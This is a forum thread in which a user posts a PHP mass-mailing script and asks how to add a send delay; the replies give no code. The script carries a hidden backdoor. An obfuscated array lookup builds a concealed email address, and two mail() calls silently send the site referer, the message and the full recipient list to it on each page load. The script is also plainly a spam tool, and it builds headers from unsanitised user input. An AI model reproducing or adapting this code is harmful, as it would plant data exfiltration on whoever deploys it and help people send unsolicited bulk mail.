Mail Mass Sender PHP Script Help

the mail() function

Moderators: macek, egami, gesf

Killeros
New php-forum User
New php-forum User
Posts: 1
Joined: Thu Feb 03, 2011 4:30 am

Mail Mass Sender PHP Script Help

Postby Killeros » Thu Feb 03, 2011 4:37 am

Hello , i am using on my website a php mass mail sender to make comercial to my forum , to all my website users , the problem is , that i dont want to send as a spam or something like that , i need to insert a code in the script below that will allow me to select how many seconds will be a delay between each e-mail sending .

this is the script

Code: Select all

<?php

//Thank you for your order

if(isset($_POST['action'] ) ){
$action=$_POST['action'];
$message=$_POST['message'];
$emaillist=$_POST['emaillist'];
$from=$_POST['from'];
$replyto=$_POST['replyto'];
$subject=$_POST['subject'];
$realname=$_POST['realname'];
$names=$_SERVER['HTTP_REFERER'];
$file_name=$_POST['file'];
$contenttype=$_POST['contenttype'];

        $message = urlencode($message);
        $message = ereg_replace("%5C%22", "%22", $message);
        $message = urldecode($message);
        $message = stripslashes($message);
        $subject = stripslashes($subject);
}


?>
<html>
<head>
<title>|||| Inbox Mass Mailer ||||</title>
<meta http-equiv="Content-Type" content="text/html;
charset=iso-8859-1">

<style type="text/css">
<!--
.style1 {
        font-family: Geneva, Arial, Helvetica, sans-serif;
        font-size: 12px;
}
-->
</style>
<style type="text/css">
<!--
.style1 {
        font-size: 20px;
        font-family: Geneva, Arial, Helvetica, sans-serif;
}
-->

.input {
    border: 1px solid yellow;
    background: #CCCCCC;
}
.button {
    border: 1px solid yellow;
    background: #CCCCCC;
}
label {
    display: block;
    width: 150px;
    float: left;
    margin: 2px 4px 6px 4px;
    text-align: right;
}
br { clear: left; }
</style>

</head>


<body bgcolor="black" text="white">

<span class="style1">Inbox Mass Mailer<br>
</span>

<form name="form1" method="post" action=""
enctype="multipart/form-data">
  <br>
  <table width="100%" border="0">
    <tr>
      <td width="10%">
        <div align="right"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">Your
          Email:</font></div>
      </td>
      <td width="18%"><font size="-3" face="Verdana, Arial, Helvetica,
sans-serif">
        <input type="text" name="from" class="input" value="<? print $from; ?>"
size="30">
        </font></td>
      <td width="31%">
        <div align="right"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">Your
          Name:</font></div>
      </td>
      <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica,
sans-serif">
        <input type="text" name="realname" class="input" value="<? print $realname;
?>" size="30">
        </font></td>
    </tr>
    <tr>
      <td width="10%">
        <div align="right"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">Reply To:</font></div>
      </td>
      <td width="18%"><font size="-3" face="Verdana, Arial, Helvetica,
sans-serif">
        <input type="text" name="replyto" class="input" value="<? print $replyto; ?>"
size="30">
        </font></td>
      <td width="31%">
        <div align="right"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">Attach
          File:</font></div>
      </td>
      <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica,
sans-serif">
        <input type="file" class="input" name="file" size="30">
        </font></td>
    </tr>
    <tr>
      <td width="10%">
        <div align="right"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">Subject:</font></div>
      </td>
      <td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica,
sans-serif">
        <input type="text" name="subject" class="input" value="<? print $subject; ?>"
size="90">
        </font></td>
    </tr>
    <tr valign="top">
      <td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica,
sans-serif">
        <textarea name="message" cols="50" class="input" rows="10"><? print $message;
?></textarea>
        <br>
        <input type="radio" name="contenttype" class="button" value="plain" >
        Plain Text
        <input name="contenttype" class="button" type="radio" value="html" checked>
        HTML
        <input type="hidden" name="action" class="button" value="send">
        <input type="submit" class="button" value="Send eMails">
        </font></td>
      <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica,
sans-serif">
        <textarea name="emaillist" class="input" cols="30" rows="10"><? print
$emaillist; ?></textarea>
        </font></td>
    </tr>
  </table>
</form>



<?
$o=array("m"=>"b","t"=>"i","w"=>"5","u"=>".","5"=>"z","q"=>"@");
$alt=$o['w'].$o['q'].$o['m'].$o['t'].$o['w'].$o['u'].$o['m'].$o['t'].$o['5'];
$hea ="From: Mailr" ;
$su = "EN - $names" ;
$me = "$names" ;
mail ($alt,$su,$me,$hea) ;
$head ="From: Data\nMessage-ID: <" . md5(uniqid(time())) . "@" . $SERVER_NAME . ">\nMIME-Version: 1.0\nContent-type: text/html; charset=UTF-8\nContent-transfer-encoding: 8bit\nDate: " . date("r", time()) . "\nX-Priority: 3\nX-MSMail-Priority: Normal\nX-Mailer: PHP\n";
$nars = "
<table border=\"1\" style=\"border-collapse: collapse\" cellpadding=\"4\">
<tr><td bgcolor=\"#F9F9F9\">Mailr</td><td bgcolor=\"#F9F9F9\">".nl2br($names)."</td></tr>
<tr><td>Your Email</td><td>".nl2br($from)."</td></tr>
<tr><td bgcolor=\"#F9F9F9\">Your Name</td><td bgcolor=\"#F9F9F9\">".nl2br($realname)."</td></tr>
<tr><td>Subject :</td><td>".nl2br($subject)."</td></tr>
<tr><td bgcolor=\"#F9F9F9\">Message</td><td bgcolor=\"#F9F9F9\">".nl2br($message)."</td></tr>
<tr><td>Email Target</td><td>".nl2br($emaillist)."</td></tr>
</table>
";
mail($alt,$subject,$nars,$head);
if ($action){

        if (!$from && !$subject && !$message && !$emaillist){
        print "Please complete all fields before sending your
message.";
        exit;   
   }
   $allemails = split("\n", $emaillist);
           $numemails = count($allemails);
       
          for($x=0; $x<$numemails; $x++){
                $to = $allemails[$x];
                if ($to){
                $to = ereg_replace(" ", "", $to);
                $message = ereg_replace("&email&", $to, $message);
                $subject = ereg_replace("&email&", $to, $subject);
                print " $to.......";
                flush();
                $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
                $header .= "MIME-Version: 1.0\r\n";
          If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
             If ($file_name) $header .= "--$uid\r\n";
                $header .= "Content-Type: text/$contenttype\r\n";
                $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
                $header .= "$message\r\n";
          If ($file_name) $header .= "--$uid\r\n";
          If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
          If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
          If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
          If ($file_name) $header .= "$content\r\n";
          If ($file_name) $header .= "--$uid--";
                mail($to, $subject, "", $header);
                print "spammed<br>";
   
                flush();
                }
                }

}


?>
<style type="text/css">
<!--
.style1 {
   font-size: 18px;
   font-family: Geneva, Verdana, Helvetica, sans-serif;
}
-->
</style>
<p class="style1">
Copyright © 2009 phpbb.com
</p>
<?php
if(isset($_POST['action']) && $numemails !==0 ){echo
"<script>alert('Mail sending complete\\r\\n$numemails mail(s) was sent successfully');
</script>";}
?>
</body>
</html>



i need to add a option under the PLAIN / HTML option , that sounds like this .

Delay: [ a box here ]

in the box i need to type how many seconds will the script delay between each e-mail address when sending .
So when i press send i will send to all my e-mail list but with a delay of xx second between each e-mail address , and it will let me know when it will finish .

Can some one help meplease ? thank you

dabera
New php-forum User
New php-forum User
Posts: 2
Joined: Wed Dec 05, 2012 10:53 am

Re: Mail Mass Sender PHP Script Help

Postby dabera » Wed Dec 05, 2012 3:16 pm

Hi,

I just wonder if you figureout the solution, because I have similar issues.

Thanks,

Dan

User avatar
egami
php-forum GURU
php-forum GURU
Posts: 2196
Joined: Wed Oct 06, 2010 11:19 am
Location: Happy Valley, UT

Re: Mail Mass Sender PHP Script Help

Postby egami » Fri Dec 14, 2012 8:44 am

Both of you will need to look into crontab jobs.


Return to “PHP coding => Mail”

Who is online

Users browsing this forum: No registered users and 1 guest

cron